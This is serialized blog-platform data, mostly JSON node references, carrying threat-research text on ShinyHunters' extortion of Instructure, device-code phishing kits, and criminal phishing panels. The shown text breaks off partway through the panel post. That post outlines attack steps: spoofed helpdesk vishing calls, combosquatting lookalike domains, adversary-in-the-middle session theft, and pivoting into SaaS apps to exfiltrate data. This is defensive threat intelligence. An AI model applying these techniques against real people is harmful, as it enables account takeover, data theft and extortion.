that.",{"id":6506,"publishedAt":41984},"2026-08-12T11:52:56.247Z",{"items":41986},[41987,41989],{"sys":41988,"name":2314},{"id":2313},{"sys":41990,"name":342},{"id":4642},{"items":41992},[41993,41995,41997,41999,42001,42003,42005,42007,42009,42011,42013,42015,42017,42019,42021,42023,42025,42027,42029,42031,42033,42035,42037],{"sys":41994,"name":297,"slug":298,"tier":31},{"id":294},{"sys":41996,"name":413,"slug":414,"tier":31},{"id":410},{"sys":41998,"name":279,"slug":280,"tier":31},{"id":276},{"sys":42000,"name":519,"slug":520,"tier":31},{"id":516},{"sys":42002,"name":235,"slug":236,"tier":31},{"id":232},{"sys":42004,"name":342,"slug":343,"tier":31},{"id":339},{"sys":42006,"name":580,"slug":581,"tier":45},{"id":577},{"sys":42008,"name":484,"slug":485,"tier":45},{"id":481},{"sys":42010,"name":315,"slug":316,"tier":45},{"id":312},{"sys":42012,"name":502,"slug":503,"tier":45},{"id":499},{"sys":42014,"name":457,"slug":458,"tier":45},{"id":454},{"sys":42016,"name":395,"slug":396,"tier":45},{"id":392},{"sys":42018,"name":288,"slug":289,"tier":45},{"id":285},{"sys":42020,"name":324,"slug":325,"tier":45},{"id":321},{"sys":42022,"name":360,"slug":361,"tier":45},{"id":357},{"sys":42024,"name":475,"slug":476,"tier":45},{"id":472},{"sys":42026,"name":440,"slug":441,"tier":45},{"id":437},{"sys":42028,"name":261,"slug":262,"tier":45},{"id":258},{"sys":42030,"name":571,"slug":572,"tier":45},{"id":568},{"sys":42032,"name":589,"slug":590,"tier":45},{"id":586},{"sys":42034,"name":633,"slug":634,"tier":45},{"id":630},{"sys":42036,"name":528,"slug":529,"tier":45},{"id":525},{"sys":42038,"name":422,"slug":423,"tier":45},{"id":419},"0uIXQfHGqG5ggB63oTQMHHDsYjEefxJ1h3UuxIYOezk",{"id":42041,"title":16369,"authorsCollection":42042,"content":42047,"extension":228,"faqItemsCollection":42955,"faqTitle":59,"featured":19,"hashTags":59,"meta":42957,"metaTitle":42958,"ogImage":59,"postType":42959,"publishedDate":13337,"relatedBlogPostsCollection":42960,"slug":16371,"stem":46387,"subtitle":59,"summary":46388,"synopsis":16370,"sys":46399,"tagsCollection":46401,"topicsCollection":46407,"__hash__":46443},"blog/blog/analyzing-the-instructure-breach.json",{"items":42043},[42044],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":42045,"profilePicture":42046},[30152],{"url":7804},{"json":42048,"links":42868},{"data":42049,"content":42050,"nodeType":1382},{},[42051,42073,42097,42130,42163,42168,42178,42181,42188,42230,42236,42255,42260,42263,42270,42294,42300,42307,42312,42315,42322,42328,42343,42349,42382,42388,42391,42398,42413,42455,42458,42465,42480,42495,42502,42508,42518,42528,42538,42548,42563,42570,42576,42579,42585,42591,42606,42609,42616,42631,42862],{"data":42052,"content":42053,"nodeType":866},{},[42054,42057,42063,42066,42070],{"data":42055,"marks":42056,"value":15417,"nodeType":865},{},[],{"data":42058,"content":42059,"nodeType":889},{"uri":4991},[42060],{"data":42061,"marks":42062,"value":8673,"nodeType":865},{},[],{"data":42064,"marks":42065,"value":15427,"nodeType":865},{},[],{"data":42067,"marks":42068,"value":15432,"nodeType":865},{},[42069],{"type":926},{"data":42071,"marks":42072,"value":15436,"nodeType":865},{},[],{"data":42074,"content":42075,"nodeType":866},{},[42076,42079,42085,42088,42094],{"data":42077,"marks":42078,"value":15443,"nodeType":865},{},[],{"data":42080,"content":42081,"nodeType":889},{"uri":15446},[42082],{"data":42083,"marks":42084,"value":15451,"nodeType":865},{},[],{"data":42086,"marks":42087,"value":15455,"nodeType":865},{},[],{"data":42089,"content":42090,"nodeType":889},{"uri":15458},[42091],{"data":42092,"marks":42093,"value":15463,"nodeType":865},{},[],{"data":42095,"marks":42096,"value":15467,"nodeType":865},{},[],{"data":42098,"content":42099,"nodeType":866},{},[42100,42103,42109,42112,42118,42121,42127],{"data":42101,"marks":42102,"value":15474,"nodeType":865},{},[],{"data":42104,"content":42105,"nodeType":889},{"uri":15477},[42106],{"data":42107,"marks":42108,"value":15482,"nodeType":865},{},[],{"data":42110,"marks":42111,"value":15486,"nodeType":865},{},[],{"data":42113,"content":42114,"nodeType":889},{"uri":15489},[42115],{"data":42116,"marks":42117,"value":15494,"nodeType":865},{},[],{"data":42119,"marks":42120,"value":15498,"nodeType":865},{},[],{"data":42122,"content":42123,"nodeType":889},{"uri":15501},[42124],{"data":42125,"marks":42126,"value":15506,"nodeType":865},{},[],{"data":42128,"marks":42129,"value":15510,"nodeType":865},{},[],{"data":42131,"content":42132,"nodeType":866},{},[42133,42136,42142,42145,42151,42154,42160],{"data":42134,"marks":42135,"value":15517,"nodeType":865},{},[],{"data":42137,"content":42138,"nodeType":889},{"uri":15520},[42139],{"data":42140,"marks":42141,"value":15525,"nodeType":865},{},[],{"data":42143,"marks":42144,"value":15529,"nodeType":865},{},[],{"data":42146,"content":42147,"nodeType":889},{"uri":15532},[42148],{"data":42149,"marks":42150,"value":15537,"nodeType":865},{},[],{"data":42152,"marks":42153,"value":15541,"nodeType":865},{},[],{"data":42155,"content":42156,"nodeType":889},{"uri":15544},[42157],{"data":42158,"marks":42159,"value":15549,"nodeType":865},{},[],{"data":42161,"marks":42162,"value":15553,"nodeType":865},{},[],{"data":42164,"content":42167,"nodeType":912},{"target":42165},{"sys":42166},{"id":15558,"type":909,"linkType":910},[],{"data":42169,"content":42170,"nodeType":866},{},[42171,42175],{"data":42172,"marks":42173,"value":15567,"nodeType":865},{},[42174],{"type":926},{"data":42176,"marks":42177,"value":15571,"nodeType":865},{},[],{"data":42179,"content":42180,"nodeType":972},{},[],{"data":42182,"content":42183,"nodeType":981},{},[42184],{"data":42185,"marks":42186,"value":15582,"nodeType":865},{},[42187],{"type":926},{"data":42189,"content":42190,"nodeType":866},{},[42191,42194,42200,42203,42209,42212,42218,42221,42227],{"data":42192,"marks":42193,"value":15589,"nodeType":865},{},[],{"data":42195,"content":42196,"nodeType":889},{"uri":15592},[42197],{"data":42198,"marks":42199,"value":15597,"nodeType":865},{},[],{"data":42201,"marks":42202,"value":14216,"nodeType":865},{},[],{"data":42204,"content":42205,"nodeType":889},{"uri":15603},[42206],{"data":42207,"marks":42208,"value":15608,"nodeType":865},{},[],{"data":42210,"marks":42211,"value":14629,"nodeType":865},{},[],{"data":42213,"content":42214,"nodeType":889},{"uri":15489},[42215],{"data":42216,"marks":42217,"value":15618,"nodeType":865},{},[],{"data":42219,"marks":42220,"value":15622,"nodeType":865},{},[],{"data":42222,"content":42223,"nodeType":889},{"uri":13633},[42224],{"data":42225,"marks":42226,"value":15629,"nodeType":865},{},[],{"data":42228,"marks":42229,"value":1615,"nodeType":865},{},[],{"data":42231,"content":42232,"nodeType":866},{},[42233],{"data":42234,"marks":42235,"value":15639,"nodeType":865},{},[],{"data":42237,"content":42238,"nodeType":866},{},[42239,42242,42248,42251],{"data":42240,"marks":42241,"value":15646,"nodeType":865},{},[],{"data":42243,"content":42244,"nodeType":889},{"uri":13633},[42245],{"data":42246,"marks":42247,"value":15653,"nodeType":865},{},[],{"data":42249,"marks":42250,"value":15657,"nodeType":865},{},[],{"data":42252,"marks":42253,"value":15662,"nodeType":865},{},[42254],{"type":926},{"data":42256,"content":42259,"nodeType":912},{"target":42257},{"sys":42258},{"id":15667,"type":909,"linkType":910},[],{"data":42261,"content":42262,"nodeType":972},{},[],{"data":42264,"content":42265,"nodeType":981},{},[42266],{"data":42267,"marks":42268,"value":15679,"nodeType":865},{},[42269],{"type":926},{"data":42271,"content":42272,"nodeType":866},{},[42273,42276,42282,42285,42291],{"data":42274,"marks":42275,"value":1449,"nodeType":865},{},[],{"data":42277,"content":42278,"nodeType":889},{"uri":13013},[42279],{"data":42280,"marks":42281,"value":15692,"nodeType":865},{},[],{"data":42283,"marks":42284,"value":15696,"nodeType":865},{},[],{"data":42286,"content":42287,"nodeType":889},{"uri":15501},[42288],{"data":42289,"marks":42290,"value":15703,"nodeType":865},{},[],{"data":42292,"marks":42293,"value":15707,"nodeType":865},{},[],{"data":42295,"content":42296,"nodeType":866},{},[42297],{"data":42298,"marks":42299,"value":15714,"nodeType":865},{},[],{"data":42301,"content":42302,"nodeType":866},{},[42303],{"data":42304,"marks":42305,"value":15722,"nodeType":865},{},[42306],{"type":926},{"data":42308,"content":42311,"nodeType":912},{"target":42309},{"sys":42310},{"id":15727,"type":909,"linkType":910},[],{"data":42313,"content":42314,"nodeType":972},{},[],{"data":42316,"content":42317,"nodeType":981},{},[42318],{"data":42319,"marks":42320,"value":15739,"nodeType":865},{},[42321],{"type":926},{"data":42323,"content":42324,"nodeType":866},{},[42325],{"data":42326,"marks":42327,"value":15746,"nodeType":865},{},[],{"data":42329,"content":42330,"nodeType":866},{},[42331,42334,42340],{"data":42332,"marks":42333,"value":1449,"nodeType":865},{},[],{"data":42335,"content":42336,"nodeType":889},{"uri":15755},[42337],{"data":42338,"marks":42339,"value":15760,"nodeType":865},{},[],{"data":42341,"marks":42342,"value":15764,"nodeType":865},{},[],{"data":42344,"content":42345,"nodeType":866},{},[42346],{"data":42347,"marks":42348,"value":15771,"nodeType":865},{},[],{"data":42350,"content":42351,"nodeType":866},{},[42352,42355,42361,42364,42370,42373,42379],{"data":42353,"marks":42354,"value":15778,"nodeType":865},{},[],{"data":42356,"content":42357,"nodeType":889},{"uri":15781},[42358],{"data":42359,"marks":42360,"value":15786,"nodeType":865},{},[],{"data":42362,"marks":42363,"value":15790,"nodeType":865},{},[],{"data":42365,"content":42366,"nodeType":889},{"uri":15793},[42367],{"data":42368,"marks":42369,"value":15798,"nodeType":865},{},[],{"data":42371,"marks":42372,"value":15802,"nodeType":865},{},[],{"data":42374,"content":42375,"nodeType":889},{"uri":3841},[42376],{"data":42377,"marks":42378,"value":15809,"nodeType":865},{},[],{"data":42380,"marks":42381,"value":15813,"nodeType":865},{},[],{"data":42383,"content":42384,"nodeType":866},{},[42385],{"data":42386,"marks":42387,"value":15820,"nodeType":865},{},[],{"data":42389,"content":42390,"nodeType":972},{},[],{"data":42392,"content":42393,"nodeType":981},{},[42394],{"data":42395,"marks":42396,"value":15831,"nodeType":865},{},[42397],{"type":926},{"data":42399,"content":42400,"nodeType":866},{},[42401,42404,42410],{"data":42402,"marks":42403,"value":15838,"nodeType":865},{},[],{"data":42405,"content":42406,"nodeType":889},{"uri":15841},[42407],{"data":42408,"marks":42409,"value":15846,"nodeType":865},{},[],{"data":42411,"marks":42412,"value":15850,"nodeType":865},{},[],{"data":42414,"content":42415,"nodeType":866},{},[42416,42419,42425,42428,42434,42437,42443,42446,42452],{"data":42417,"marks":42418,"value":15857,"nodeType":865},{},[],{"data":42420,"content":42421,"nodeType":889},{"uri":15860},[42422],{"data":42423,"marks":42424,"value":15865,"nodeType":865},{},[],{"data":42426,"marks":42427,"value":15869,"nodeType":865},{},[],{"data":42429,"content":42430,"nodeType":889},{"uri":15872},[42431],{"data":42432,"marks":42433,"value":15877,"nodeType":865},{},[],{"data":42435,"marks":42436,"value":15881,"nodeType":865},{},[],{"data":42438,"content":42439,"nodeType":889},{"uri":15884},[42440],{"data":42441,"marks":42442,"value":15889,"nodeType":865},{},[],{"data":42444,"marks":42445,"value":15893,"nodeType":865},{},[],{"data":42447,"content":42448,"nodeType":889},{"uri":15896},[42449],{"data":42450,"marks":42451,"value":15901,"nodeType":865},{},[],{"data":42453,"marks":42454,"value":15905,"nodeType":865},{},[],{"data":42456,"content":42457,"nodeType":972},{},[],{"data":42459,"content":42460,"nodeType":981},{},[42461],{"data":42462,"marks":42463,"value":15916,"nodeType":865},{},[42464],{"type":926},{"data":42466,"content":42467,"nodeType":866},{},[42468,42471,42477],{"data":42469,"marks":42470,"value":15923,"nodeType":865},{},[],{"data":42472,"content":42473,"nodeType":889},{"uri":1951},[42474],{"data":42475,"marks":42476,"value":15930,"nodeType":865},{},[],{"data":42478,"marks":42479,"value":15934,"nodeType":865},{},[],{"data":42481,"content":42482,"nodeType":866},{},[42483,42486,42492],{"data":42484,"marks":42485,"value":15941,"nodeType":865},{},[],{"data":42487,"content":42488,"nodeType":889},{"uri":15944},[42489],{"data":42490,"marks":42491,"value":315,"nodeType":865},{},[],{"data":42493,"marks":42494,"value":15952,"nodeType":865},{},[],{"data":42496,"content":42497,"nodeType":1317},{},[42498],{"data":42499,"marks":42500,"value":6331,"nodeType":865},{},[42501],{"type":926},{"data":42503,"content":42504,"nodeType":866},{},[42505],{"data":42506,"marks":42507,"value":15966,"nodeType":865},{},[],{"data":42509,"content":42510,"nodeType":866},{},[42511,42515],{"data":42512,"marks":42513,"value":15974,"nodeType":865},{},[42514],{"type":926},{"data":42516,"marks":42517,"value":15978,"nodeType":865},{},[],{"data":42519,"content":42520,"nodeType":866},{},[42521,42525],{"data":42522,"marks":42523,"value":15986,"nodeType":865},{},[42524],{"type":926},{"data":42526,"marks":42527,"value":15990,"nodeType":865},{},[],{"data":42529,"content":42530,"nodeType":866},{},[42531,42535],{"data":42532,"marks":42533,"value":15998,"nodeType":865},{},[42534],{"type":926},{"data":42536,"marks":42537,"value":16002,"nodeType":865},{},[],{"data":42539,"content":42540,"nodeType":866},{},[42541,42545],{"data":42542,"marks":42543,"value":16010,"nodeType":865},{},[42544],{"type":926},{"data":42546,"marks":42547,"value":16014,"nodeType":865},{},[],{"data":42549,"content":42550,"nodeType":866},{},[42551,42554,42560],{"data":42552,"marks":42553,"value":21,"nodeType":865},{},[],{"data":42555,"content":42556,"nodeType":889},{"uri":1256},[42557],{"data":42558,"marks":42559,"value":16027,"nodeType":865},{},[],{"data":42561,"marks":42562,"value":21,"nodeType":865},{},[],{"data":42564,"content":42565,"nodeType":1317},{},[42566],{"data":42567,"marks":42568,"value":16038,"nodeType":865},{},[42569],{"type":926},{"data":42571,"content":42572,"nodeType":866},{},[42573],{"data":42574,"marks":42575,"value":16045,"nodeType":865},{},[],{"data":42577,"content":42578,"nodeType":972},{},[],{"data":42580,"content":42581,"nodeType":866},{},[42582],{"data":42583,"marks":42584,"value":4591,"nodeType":865},{},[],{"data":42586,"content":42587,"nodeType":866},{},[42588],{"data":42589,"marks":42590,"value":1363,"nodeType":865},{},[],{"data":42592,"content":42593,"nodeType":866},{},[42594,42597,42603],{"data":42595,"marks":42596,"value":21,"nodeType":865},{},[],{"data":42598,"content":42599,"nodeType":889},{"uri":16069},[42600],{"data":42601,"marks":42602,"value":1378,"nodeType":865},{},[],{"data":42604,"marks":42605,"value":21,"nodeType":865},{},[],{"data":42607,"content":42608,"nodeType":972},{},[],{"data":42610,"content":42611,"nodeType":981},{},[42612],{"data":42613,"marks":42614,"value":16087,"nodeType":865},{},[42615],{"type":926},{"data":42617,"content":42618,"nodeType":866},{},[42619,42622,42628],{"data":42620,"marks":42621,"value":16094,"nodeType":865},{},[],{"data":42623,"content":42624,"nodeType":889},{"uri":4991},[42625],{"data":42626,"marks":42627,"value":16101,"nodeType":865},{},[],{"data":42629,"marks":42630,"value":16105,"nodeType":865},{},[],{"data":42632,"content":42633,"nodeType":2927},{},[42634,42677,42733,42776,42819],{"data":42635,"content":42636,"nodeType":2400},{},[42637,42647,42657,42667],{"data":42638,"content":42639,"nodeType":2366},{},[42640],{"data":42641,"content":42642,"nodeType":866},{},[42643],{"data":42644,"marks":42645,"value":16122,"nodeType":865},{},[42646],{"type":926},{"data":42648,"content":42649,"nodeType":2366},{},[42650],{"data":42651,"content":42652,"nodeType":866},{},[42653],{"data":42654,"marks":42655,"value":16133,"nodeType":865},{},[42656],{"type":926},{"data":42658,"content":42659,"nodeType":2366},{},[42660],{"data":42661,"content":42662,"nodeType":866},{},[42663],{"data":42664,"marks":42665,"value":16144,"nodeType":865},{},[42666],{"type":926},{"data":42668,"content":42669,"nodeType":2366},{},[42670],{"data":42671,"content":42672,"nodeType":866},{},[42673],{"data":42674,"marks":42675,"value":16155,"nodeType":865},{},[42676],{"type":926},{"data":42678,"content":42679,"nodeType":2400},{},[42680,42700,42709,42718],{"data":42681,"content":42682,"nodeType":2366},{},[42683],{"data":42684,"content":42685,"nodeType":866},{},[42686,42690,42693,42697],{"data":42687,"marks":42688,"value":16169,"nodeType":865},{},[42689],{"type":926},{"data":42691,"marks":42692,"value":16173,"nodeType":865},{},[],{"data":42694,"marks":42695,"value":16178,"nodeType":865},{},[42696],{"type":926},{"data":42698,"marks":42699,"value":16182,"nodeType":865},{},[],{"data":42701,"content":42702,"nodeType":2366},{},[42703],{"data":42704,"content":42705,"nodeType":866},{},[42706],{"data":42707,"marks":42708,"value":16192,"nodeType":865},{},[],{"data":42710,"content":42711,"nodeType":2366},{},[42712],{"data":42713,"content":42714,"nodeType":866},{},[42715],{"data":42716,"marks":42717,"value":16202,"nodeType":865},{},[],{"data":42719,"content":42720,"nodeType":2366},{},[42721,42727],{"data":42722,"content":42723,"nodeType":866},{},[42724],{"data":42725,"marks":42726,"value":16212,"nodeType":865},{},[],{"data":42728,"content":42729,"nodeType":866},{},[42730],{"data":42731,"marks":42732,"value":16219,"nodeType":865},{},[],{"data":42734,"content":42735,"nodeType":2400},{},[42736,42749,42758,42767],{"data":42737,"content":42738,"nodeType":2366},{},[42739],{"data":42740,"content":42741,"nodeType":866},{},[42742,42746],{"data":42743,"marks":42744,"value":16233,"nodeType":865},{},[42745],{"type":926},{"data":42747,"marks":42748,"value":16237,"nodeType":865},{},[],{"data":42750,"content":42751,"nodeType":2366},{},[42752],{"data":42753,"content":42754,"nodeType":866},{},[42755],{"data":42756,"marks":42757,"value":16247,"nodeType":865},{},[],{"data":42759,"content":42760,"nodeType":2366},{},[42761],{"data":42762,"content":42763,"nodeType":866},{},[42764],{"data":42765,"marks":42766,"value":16257,"nodeType":865},{},[],{"data":42768,"content":42769,"nodeType":2366},{},[42770],{"data":42771,"content":42772,"nodeType":866},{},[42773],{"data":42774,"marks":42775,"value":16267,"nodeType":865},{},[],{"data":42777,"content":42778,"nodeType":2400},{},[42779,42792,42801,42810],{"data":42780,"content":42781,"nodeType":2366},{},[42782],{"data":42783,"content":42784,"nodeType":866},{},[42785,42789],{"data":42786,"marks":42787,"value":16281,"nodeType":865},{},[42788],{"type":926},{"data":42790,"marks":42791,"value":16285,"nodeType":865},{},[],{"data":42793,"content":42794,"nodeType":2366},{},[42795],{"data":42796,"content":42797,"nodeType":866},{},[42798],{"data":42799,"marks":42800,"value":16295,"nodeType":865},{},[],{"data":42802,"content":42803,"nodeType":2366},{},[42804],{"data":42805,"content":42806,"nodeType":866},{},[42807],{"data":42808,"marks":42809,"value":16305,"nodeType":865},{},[],{"data":42811,"content":42812,"nodeType":2366},{},[42813],{"data":42814,"content":42815,"nodeType":866},{},[42816],{"data":42817,"marks":42818,"value":16315,"nodeType":865},{},[],{"data":42820,"content":42821,"nodeType":2400},{},[42822,42835,42844,42853],{"data":42823,"content":42824,"nodeType":2366},{},[42825],{"data":42826,"content":42827,"nodeType":866},{},[42828,42832],{"data":42829,"marks":42830,"value":16329,"nodeType":865},{},[42831],{"type":926},{"data":42833,"marks":42834,"value":16333,"nodeType":865},{},[],{"data":42836,"content":42837,"nodeType":2366},{},[42838],{"data":42839,"content":42840,"nodeType":866},{},[42841],{"data":42842,"marks":42843,"value":16192,"nodeType":865},{},[],{"data":42845,"content":42846,"nodeType":2366},{},[42847],{"data":42848,"content":42849,"nodeType":866},{},[42850],{"data":42851,"marks":42852,"value":16352,"nodeType":865},{},[],{"data":42854,"content":42855,"nodeType":2366},{},[42856],{"data":42857,"content":42858,"nodeType":866},{},[42859],{"data":42860,"marks":42861,"value":16362,"nodeType":865},{},[],{"data":42863,"content":42864,"nodeType":866},{},[42865],{"data":42866,"marks":42867,"value":21,"nodeType":865},{},[],{"entries":42869},{"hyperlink":42870,"inline":42871,"block":42872},[],[],[42873,42887,42911],{"sys":42874,"__typename":5503,"content":42875,"name":42886,"title":59},{"id":15558},{"json":42876},{"nodeType":1382,"data":42877,"content":42878},{},[42879],{"nodeType":866,"data":42880,"content":42881},{},[42882],{"nodeType":865,"value":42883,"marks":42884,"data":42885},"It seems that ShinyHunters have opportunistically returned to the scene of the crime with Instructure because of the proven payoff of targeting EdTech organizations, combined with the existing leverage of data gathered during the previous breach (and previous refusal to pay). This shows that a major data breach is likely to result in further attempts to increase pressure and extort payment. We saw this in 2024's PowerSchool breach too, where individual victims were hit with blackmail and extortion attempts — even after PowerSchool paid the ransom to avoid such a scenario, but the attackers (unsurprisingly) didn't keep their end of the bargain. ",[],{},"Instructure IB5",{"sys":42888,"__typename":5503,"content":42889,"name":42910,"title":59},{"id":15667},{"json":42890},{"nodeType":1382,"data":42891,"content":42892},{},[42893],{"nodeType":866,"data":42894,"content":42895},{},[42896,42900,42906],{"nodeType":865,"value":42897,"marks":42898,"data":42899},"The speed at which these campaigns execute has compressed dramatically. ",[],{},{"nodeType":889,"data":42901,"content":42902},{"uri":15489},[42903],{"nodeType":865,"value":15494,"marks":42904,"data":42905},[],{},{"nodeType":865,"value":42907,"marks":42908,"data":42909}," Cordial Spider and Snarky Spider moving from initial compromise to complete data exfiltration in under an hour — fast enough that any detection strategy that relies on human SOC triage will arrive after the data has already left the building.",[],{},"Instructure IB3",{"sys":42912,"__typename":5503,"content":42913,"name":42954,"title":59},{"id":15727},{"json":42914},{"nodeType":1382,"data":42915,"content":42916},{},[42917],{"nodeType":866,"data":42918,"content":42919},{},[42920,42924,42931,42935,42942,42946,42951],{"nodeType":865,"value":42921,"marks":42922,"data":42923},"Device code phishing has been rapidly commoditized. What began with ",[],{},{"nodeType":889,"data":42925,"content":42926},{"uri":8636},[42927],{"nodeType":865,"value":42928,"marks":42929,"data":42930},"Storm-2372's nation-state campaigns in August 2024",[],{},{"nodeType":865,"value":42932,"marks":42933,"data":42934}," has since proliferated through criminal kits like EvilTokens and Venom — which reuses Sneaky2FA's AiTM infrastructure while adding device code phishing options — and more recently through Tycoon2FA, which has ",[],{},{"nodeType":889,"data":42936,"content":42937},{"uri":1951},[42938],{"nodeType":865,"value":42939,"marks":42940,"data":42941},"adopted device code phishing capabilities",[],{},{"nodeType":865,"value":42943,"marks":42944,"data":42945}," alongside its established AiTM functionality. Push now tracks 12+ distinct device code phishing kits in the wild and has measured a ",[],{},{"nodeType":865,"value":42947,"marks":42948,"data":42950},"37.5x increase in device code phishing activity since the start of 2026",[42949],{"type":926},{},{"nodeType":865,"value":6719,"marks":42952,"data":42953},[],{},"Instructure IB2",{"items":42956},[],{},"How three techniques are behind ShinyHunters' 2026 campaigns","threat-research",{"items":42961},[42962,44877,45525],{"__typename":1429,"sys":42963,"content":42965,"title":44860,"synopsis":44861,"hashTags":59,"publishedDate":44862,"slug":44863,"tagsCollection":44864,"authorsCollection":44870},{"id":42964},"2tz0zEJCarJBkceOYk4zVg",{"json":42966},{"data":42967,"content":42968,"nodeType":1382},{},[42969,42976,43005,43016,43023,43029,43041,43047,43050,43058,43065,43128,43135,43141,43144,43152,43159,43165,43173,43180,43306,43312,43318,43324,43330,43338,43345,43352,43415,43422,43428,43434,43442,43449,43456,43464,43471,43504,43511,43517,43524,43572,43579,43587,43594,43600,43607,43614,43620,43627,43660,43667,43673,43676,43684,43691,43698,43705,43710,43717,43724,43730,43737,43743,43750,43756,43763,43770,43773,43781,43797,43804,43823,44066,44073,44104,44339,44346,44353,44554,44561,44746,44749,44757,44764,44771,44783,44786,44793,44810,44827,44834,44837,44844],{"data":42970,"content":42971,"nodeType":866},{},[42972],{"data":42973,"marks":42974,"value":42975,"nodeType":865},{},[],"When Push blocks an attack in the browser, we take the opportunity to do some more digging to see what else we can find. One recent detection led us down the rabbit hole — and right into a criminal phishing panel. ",{"data":42977,"content":42978,"nodeType":866},{},[42979,42983,42989,42993,43001],{"data":42980,"marks":42981,"value":42982,"nodeType":865},{},[],"Real-time operated phishing panels have been used extensively in recent months, in vishing + phishing attacks attributed to first ",{"data":42984,"content":42985,"nodeType":889},{"uri":13013},[42986],{"data":42987,"marks":42988,"value":3825,"nodeType":865},{},[],{"data":42990,"marks":42991,"value":42992,"nodeType":865},{},[],", and more recently the ",{"data":42994,"content":42996,"nodeType":889},{"uri":42995},"https://www.bleepingcomputer.com/news/security/new-blackfile-extortion-gang-targets-retail-and-hospitality-orgs/",[42997],{"data":42998,"marks":42999,"value":43000,"nodeType":865},{},[],"BlackFile",{"data":43002,"marks":43003,"value":43004,"nodeType":865},{},[]," hacking group, with a significant overlap in techniques and tooling. ",{"data":43006,"content":43007,"nodeType":866},{},[43008,43013],{"data":43009,"marks":43010,"value":43012,"nodeType":865},{},[43011],{"type":926},"We’ve directly accessed active deployments of the operator panels driving these campaigns, observed what happens in real-time when a victim is targeted, and analyzed multiple variants and forks of the tooling. ",{"data":43014,"marks":43015,"value":2688,"nodeType":865},{},[],{"data":43017,"content":43018,"nodeType":866},{},[43019],{"data":43020,"marks":43021,"value":43022,"nodeType":865},{},[],"We identified four primary infrastructure clusters, with each deployment having its own panel implementation. While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.",{"data":43024,"content":43028,"nodeType":912},{"target":43025},{"sys":43026},{"id":43027,"type":909,"linkType":910},"5BQOpzjSbobLx8OkvXl6os",[],{"data":43030,"content":43031,"nodeType":866},{},[43032,43036],{"data":43033,"marks":43034,"value":43035,"nodeType":865},{},[],"The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now most likely accessible to a broad population of financially motivated threat actors. ",{"data":43037,"marks":43038,"value":43040,"nodeType":865},{},[43039],{"type":926},"In total, we’ve identified over 400 domains linked to the attacks, giving an indication of the scale. ",{"data":43042,"content":43046,"nodeType":912},{"target":43043},{"sys":43044},{"id":43045,"type":909,"linkType":910},"2Z1LUdYXVONWO9nnJTkWsJ",[],{"data":43048,"content":43049,"nodeType":972},{},[],{"data":43051,"content":43052,"nodeType":981},{},[43053],{"data":43054,"marks":43055,"value":43057,"nodeType":865},{},[43056],{"type":926},"Background",{"data":43059,"content":43060,"nodeType":866},{},[43061],{"data":43062,"marks":43063,"value":43064,"nodeType":865},{},[],"Since at least August 2025, attackers have been running hybrid social engineering campaigns targeting hundreds of organizations across financial services, technology, cryptocurrency, healthcare, hospitality, and private aviation. ",{"data":43066,"content":43067,"nodeType":1616},{},[43068,43083,43098,43113],{"data":43069,"content":43070,"nodeType":1570},{},[43071],{"data":43072,"content":43073,"nodeType":866},{},[43074,43079],{"data":43075,"marks":43076,"value":43078,"nodeType":865},{},[43077],{"type":926},"August 2025: ",{"data":43080,"marks":43081,"value":43082,"nodeType":865},{},[],"Tooling made available, used in crypto-focused attacks",{"data":43084,"content":43085,"nodeType":1570},{},[43086],{"data":43087,"content":43088,"nodeType":866},{},[43089,43094],{"data":43090,"marks":43091,"value":43093,"nodeType":865},{},[43092],{"type":926},"November 2025:",{"data":43095,"marks":43096,"value":43097,"nodeType":865},{},[]," Major attacks on enterprise identity platforms begin",{"data":43099,"content":43100,"nodeType":1570},{},[43101],{"data":43102,"content":43103,"nodeType":866},{},[43104,43109],{"data":43105,"marks":43106,"value":43108,"nodeType":865},{},[43107],{"type":926},"January 2026: ",{"data":43110,"marks":43111,"value":43112,"nodeType":865},{},[],"Public breaches reported",{"data":43114,"content":43115,"nodeType":1570},{},[43116],{"data":43117,"content":43118,"nodeType":866},{},[43119,43124],{"data":43120,"marks":43121,"value":43123,"nodeType":865},{},[43122],{"type":926},"March 2026: ",{"data":43125,"marks":43126,"value":43127,"nodeType":865},{},[],"Activity spikes again",{"data":43129,"content":43130,"nodeType":866},{},[43131],{"data":43132,"marks":43133,"value":43134,"nodeType":865},{},[],"The attacks combine voice phishing with MFA-bypassing adversary-in-the-middle (AiTM) phishing mechanisms that allow the attacker to steal authenticated sessions for target applications — typically enterprise identity providers and cryptocurrency exchanges. Once an identity provider account is compromised, the attackers pivot across connected SaaS platforms — SharePoint, Salesforce, DocuSign, Slack — exfiltrates data, and attempts to extort the victim organization. ",{"data":43136,"content":43140,"nodeType":912},{"target":43137},{"sys":43138},{"id":43139,"type":909,"linkType":910},"2X2YXMpozrbRQhegk7yF1k",[],{"data":43142,"content":43143,"nodeType":972},{},[],{"data":43145,"content":43146,"nodeType":981},{},[43147],{"data":43148,"marks":43149,"value":43151,"nodeType":865},{},[43150],{"type":926},"Inside the panels: what Push found",{"data":43153,"content":43154,"nodeType":866},{},[43155],{"data":43156,"marks":43157,"value":43158,"nodeType":865},{},[],"Push detected an active Okta phishing site with TTPs aligned to the tooling used by SLH and affiliated groups. Through analysis of the phishing infrastructure, we gained direct access to Doko’s Panel and variants, and were able to observe how these attacks unfold from the operator's perspective — including real victim submission logs from the current week confirming ongoing active operations.",{"data":43160,"content":43164,"nodeType":912},{"target":43161},{"sys":43162},{"id":43163,"type":909,"linkType":910},"5ND0etPs5xN7ejz24l71jy",[],{"data":43166,"content":43167,"nodeType":1317},{},[43168],{"data":43169,"marks":43170,"value":43172,"nodeType":865},{},[43171],{"type":926},"How the attack works",{"data":43174,"content":43175,"nodeType":866},{},[43176],{"data":43177,"marks":43178,"value":43179,"nodeType":865},{},[],"The general sequence of steps is the same across the panels:",{"data":43181,"content":43182,"nodeType":1616},{},[43183,43198,43213,43237,43252,43267,43291],{"data":43184,"content":43185,"nodeType":1570},{},[43186],{"data":43187,"content":43188,"nodeType":866},{},[43189,43194],{"data":43190,"marks":43191,"value":43193,"nodeType":865},{},[43192],{"type":926},"The operator calls the target",{"data":43195,"marks":43196,"value":43197,"nodeType":865},{},[]," spoofing the organization's IT helpdesk number, often referencing real employee names or internal ticket numbers to establish trust. The target is directed to a phishing domain — usually following a combosquatting pattern like my\u003Ctarget>internal[.]com or \u003Ctarget>sso[.]com — under the pretext of a mandatory security update, passkey 